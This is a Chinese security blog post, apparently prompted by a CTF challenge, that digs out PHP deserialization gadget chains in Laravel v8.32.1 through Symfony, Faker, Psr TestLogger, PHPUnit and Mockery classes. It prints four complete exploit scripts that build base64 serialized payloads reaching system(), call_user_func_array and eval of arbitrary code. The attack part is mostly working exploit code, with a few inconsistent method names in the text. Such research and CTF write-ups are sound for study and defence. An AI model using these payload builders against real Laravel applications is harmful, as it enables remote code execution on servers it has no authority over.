一道CTF题引起的对laravel v8.32.1序列化利用链挖掘


0x00 前言

前几天刚搞完 V&NCTF ,里边有一道 easy_laravel 题目引起了我的注意(指挖了一下午的序列化链,结果路由不正确无法利用CVE反序列化,呜呜呜,气死我耶),于是就将整个有趣(心酸)的过程写出来分享一下吧。

0x01 利用条件

  • 需要配合一个完全可控的反序列化点( 比如结合CVE,不过这里的版本是目前最新版 v8.32.1

0x02 环境配置

先配好 8.32.1 版本的 laravel ,确保当前版本正确。

然后在 public/index.php 手动新建一个可控的序列化点:

0x03 链条分析

由于这里是另挖掘,所以我们就尽可能的避免 easy_laravel 题目WP所给的链条吧。

- call_user_func([可控],[可控])

先从最简单的单参数任意函数执行开始吧。

- 分析

首先,来到入口点,不妨找一个需要有 __destruct 方法的类,且该方法拥有形如 $this->[可控]->xxx() 的语句,这样就能够方便的触发 __call 方法了。比如说 ImportConfigurator 类就是一个不错的开始。

下一步即是找一个较为符合的拥有 __call 方法的类了,比如这里可以选择 ValidGenerator 类,因为这个类的 __call 存在两个较为明显的 call_user_func/call_user_func_array 函数。

现在需要做的即是想尽办法让这两个函数其中一个的参数 可控 就行了。可以先分析第一个 call_user_func_array 函数,其中 $name 是不可控的,且值为 addCollection ,虽说 $this->generator$arguments 是可控的,但要直接通过这两个可控的参数进行 rce 基本是不可能的。

那么再看一下 DefaultGenerator 类的 __call 方法。显然当这个方法被调用时,无论传入是啥 方法 或是 参数 都可以得到一个 [可控] 的任意值。

这时不妨回过头来看 ValidGenerator 类的 __call 方法中第二个 call_user_func 函数。在这个函数中 $this->validator 是可控的了,然后 $res 实际上是来自第一个 call_user_func_array 的返回值。那么假设现在咱们用第一个 call_user_func_array 方法去调用 DefaultGenerator 类的 __call 方法,既可以返回一个 [可控] 的值,也就是说 $res 现在也是可控的了。

综上,咱们现在实际上就可以得到形如 call_user_func([可控],[可控]) 的形式了。

此时需要构造的内容大致如下:

  • ImportConfigurator->parent = ValidGenerator类
  • ValidGenerator->maxRetries = 1
  • ValidGenerator->generator = DefaultGenerator类
  • DefaultGenerator->default = [任意可控函数参数]
  • ValidGenerator->validator = [任意可控函数名称]

- 图示

然后是简单的调用图示:

- exp

<?php

namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        private $parent;
        function __construct($c1){
            $this->parent = $c1;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        function __construct($param){
            $this->default = $param;
        }
    }
    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($func,$param){
            $this->generator = new DefaultGenerator($param);
            $this->maxRetries = 1;
            $this->validator = $func;
        }
    }
}
namespace{
    echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator('system','dir'))));
}

执行效果:

- call_user_func([可控],[可控],[可控])

当然,单参数的任意函数执行显然是还不满足的。在 php7 中如若可以达成 2 个参数的任意函数执行,就可以通过调用 create_function 来进行形如 evalrce 了。这里就朝着 2 个参数的任意函数执行进发。

- 分析

首先还是利用上边的 call_user_func([可控],[可控]) 这条链作为基础,咱们继续往下看。那么,先来到 TestLogger 类,在这个类的 hashRecordThatPasses 方法中,存在一个可以传 2 个参数的 call_user_func 方法,不过这个方法需要传 2 个参数。

不过问题不大,可以再看一下还是这个类的 __call 方法。由于这里的 $agrs 变量存在形如 array_push 的操作,不妨利用这个方法作为跳板满足 2 个参数的要求调用回 hashRecordThatPasses 方法。

那么也就是说 $genericMehotd 必须被构造成 hashRecordThatPasses ,其次传入的 $agrs 参数必须是 callable 。这里的 callable 可以指的是一个 函数 也可以是一个 可调用的函数名称字符串 ,但在序列化时是不能够保存 函数 的,所以 $agrs 的内容只能是一个 可调用的函数名称字符串

看一下关键的代码吧,

if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) {
            $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3];
            $level = strtolower($matches[2]);

            if (method_exists($this, $genericMethod)) {
                $args[] = $level;

                return call_user_func_array([$this, $genericMethod], $args);
            }
        }

简单来说,要想让 $genericMethod 变量的值为 hashRecordThatPasses ,得让 $method 的值为 hashInfoThatPasses 即可。

首先,根据 preg_match 函数的正则,必须满足 [任意字符](Debug|Info|......)[任意字符] 才能够满足这个条件。此时若传入 hashInfoThatPasses 时,$mathes 变量的值为:

  • [0] => hasInfoThatPasses
  • [1] => has
  • [2] => Info
  • [3] => ThatPasses

$genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; 这一条语句,由于在$matches[1] 中的 has 字符串中找不到 Record ,也就会加上,成为 hasRecord ,然后再和 $matches[3] 中的 ThatPasses 字符串做拼接,最后就构成了 hashRecordThatPasses

此时后边的 call_user_func_array([$this,$genericMehotd],$args) 就相当于 $this->hashRecordThatPasses([可控内容],'info')

让我们把关注点拉回 hashRecordThatPasses 方法中。

这里会对 $this->recordsByLevel[$level] 进行遍历,其中 键名 会作为第 3 个参数,而 键值 作为第 2 个参数,而 $level 实际上也就是传入的 info 字符串。同时 predicate 这个也就是上边可控的内容,不过必须得是一个 callable 型,这里直接传 可调用的函数名称字符串 即可。

还有一点是,由于第 3 个参数来自 键名 ,所以不能是一个 数组 也就不能够构造形如 call_user_func + call_user_func_array 的套娃了。

所以现在大致可以得到了一个形如 call_user_func([可控],[可控],[可控]) 的形式了。

此时需要构造的内容大致如下:

  • ImportConfigurator->parent = ValidGenerator类
  • ValidGenerator->maxRetries = 1
  • ValidGenerator->generator = DefaultGenerator类
  • DefaultGenerator->default = [TestLogger类,'hashInfoThatPasses']
  • ValidGenerator->validator = [任意可控函数名称]
  • TestLogger->recordsByLevel['info'] = ['[可控参数]'=>'[任意可控参数]']

- 图示

- exp

<?php

namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        private $parent;
        function __construct($c1){
            $this->parent = $c1;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default='call_user_func';
    }
    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($c2){
            $this->generator = new DefaultGenerator();
            $this->maxRetries = 1;
            $this->validator = [$c2,'hasInfoThatPasses'];
        }
    }
}
namespace Psr\log{
    abstract class AbstractLogger{}
}
namespace Psr\Log\Test{
    use Psr\Log\AbstractLogger;
    class TestLogger extends AbstractLogger{
        public $recordsByLevel = ['info'=>['dir'=>'system']];
    }

}
namespace{
    echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new Psr\Log\Test\TestLogger))));
}

执行效果:

这里原本思路是通过调用 create_function 函数进行 rce 的,然而会出现 弃用 的报错。

- call_user_func_array([完全可控])

既然使用 create_function 会报错,那不如使用别的和 eval 有类似效果的函数,比如 mbereg_replace 试试。那就需要一个 完全可控call_user_func_array 才行了。

- 分析

那么还是利用上边的 call_user_func([可控],[可控]) 链作为基础,继续看吧。这里来到 ReturnCallback 类的 invoke 方法,这里存在一个 call_user_func_array 函数,其中 $this->callback可控 的了。

再看 $invocation->getParameters() 这个方法返回的内容,显然 $this->parameters 是咱们可控的了,也就是说返回值是可控的。

这条链确实是非常简单的,可以简单列一下需要构造的大致内容:

  • ImportConfigurator->parent = ValidGenerator类
  • ValidGenerator->maxRetries = 1
  • ValidGenerator->generator = DefaultGenerator类
  • DefaultGenerator->default = [ReturnCallback类,'invoke']
  • ReturnCallback->callback = [任意可控的函数名称]
  • ValidGenerator->validator = Invocation类
  • Invocation->parameters = [任意可控的函数参数]

现在咱们就可以得到 call_user_func_array([完全可控]) 的形式了。

- 图示

- exp

<?php

namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        private $parent;
        function __construct($c1){
            $this->parent = $c1;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        function __construct($c3){
            $this->default = $c3;
        }
    }
    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($c2,$c3){
            $this->generator = new DefaultGenerator($c3);
            $this->maxRetries = 1;
            $this->validator = [$c2,'invoke'];
        }
    }
}
namespace PHPUnit\Framework\MockObject{
    final class Invocation{
            private $parameters = ['dir'];
    }
}
namespace PHPUnit\Framework\MockObject\Stub{
    use PHPUnit\Framework\MockObject\Invocation;
    final class ReturnCallback{
        private $callback = 'system';

    }
}
namespace{
    echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new PHPUnit\Framework\MockObject\Stub\ReturnCallback,new PHPUnit\Framework\MockObject\Invocation))));
}

执行效果:

只是如果调用 mbereg_replace,会显示已弃用的错误。

- eval([完全可控])

看起来是没辙了,只能找一个 eval 的玩意了。

- 分析

OK,这里还是利用上边的 call_user_func([可控],[可控]) 的链条作为基础。这里选择 EvalLoader 类的 load 方法,主要是这个方法里边有 eval 的调用。那么现在我们来看一下如何达成 eval([完全可控]) 吧。

这里主要还是 2 点,首先让第 1 个条件不满足,即是 $definition->getClassName() 返回的值是一个不存在的类即可。其中 $definition 得是 MockDefinition 类,然后咱们可以简单跟进 $definition 类的 getClassName 这个方法看看。

这里在 getClassName 方法中会执行 return $this->config->getName() 语句,其中 $this->config 的值显然为 MockConfiguration 类,即是调用了 MockConfiguration 类的 getName 方法。

那么再跟进 MockConfiguration 类的 getName 方法,这里简单的返回了 $this->name ,而这个 $this->name 实际上是可控的。

也就是说上边的 $definition->getClassName() 得到的值是 可控 的了,咱们不妨将其构造成任意一个不存的类名即可(比如Morouu)。

之后再看第 2 点,也就是 eval("?>".$definition->getCode()) 这段语句,话不多说,先跟进 MockDefinition 类的 getCode 方法吧。

这里只是简单的返回了 $this->code 的值,而 $this->code 确实是 可控 的。也就是说现在这条链成功到达了对 eval 的调用。那么简单的构造一下构造的大致内容吧:

  • ImportConfigurator->parent = ValidGenerator类
  • ValidGenerator->maxRetries = 1
  • ValidGenerator->generator = DefaultGenerator类
  • DefaultGenerator->default = [EvalLoader类,'load']
  • MockDefinition->config = MockConfiguration类
  • MockConfiguration->name = '[任意不存在的类名称]'
  • MockDefinition->code = <?php [任意代码] ?>

此时就可以得到 eval([完全可控]) 的形式了。

- 图示

- exp

<?php

namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        private $parent;
        function __construct($c1){
            $this->parent = $c1;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        function __construct($c3){
            $this->default = $c3;
        }
    }
    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($c2,$c3){
            $this->generator = new DefaultGenerator($c3);
            $this->maxRetries = 1;
            $this->validator = [$c2,'load'];
        }
    }
}
namespace Mockery\Generator{
    class MockConfiguration{
        protected $name = 'Morouu';
    }
    class MockDefinition{
        protected $config;
        protected $code;
        function __construct($code){
            $this->config = new MockConfiguration;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    use Mockery\Generator\MockDefinition;
    class EvalLoader{}
}
namespace{
    echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new Mockery\Loader\EvalLoader,new Mockery\Generator\MockDefinition('?><?php phpinfo();exit; ?>')))));
}

执行效果:


点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖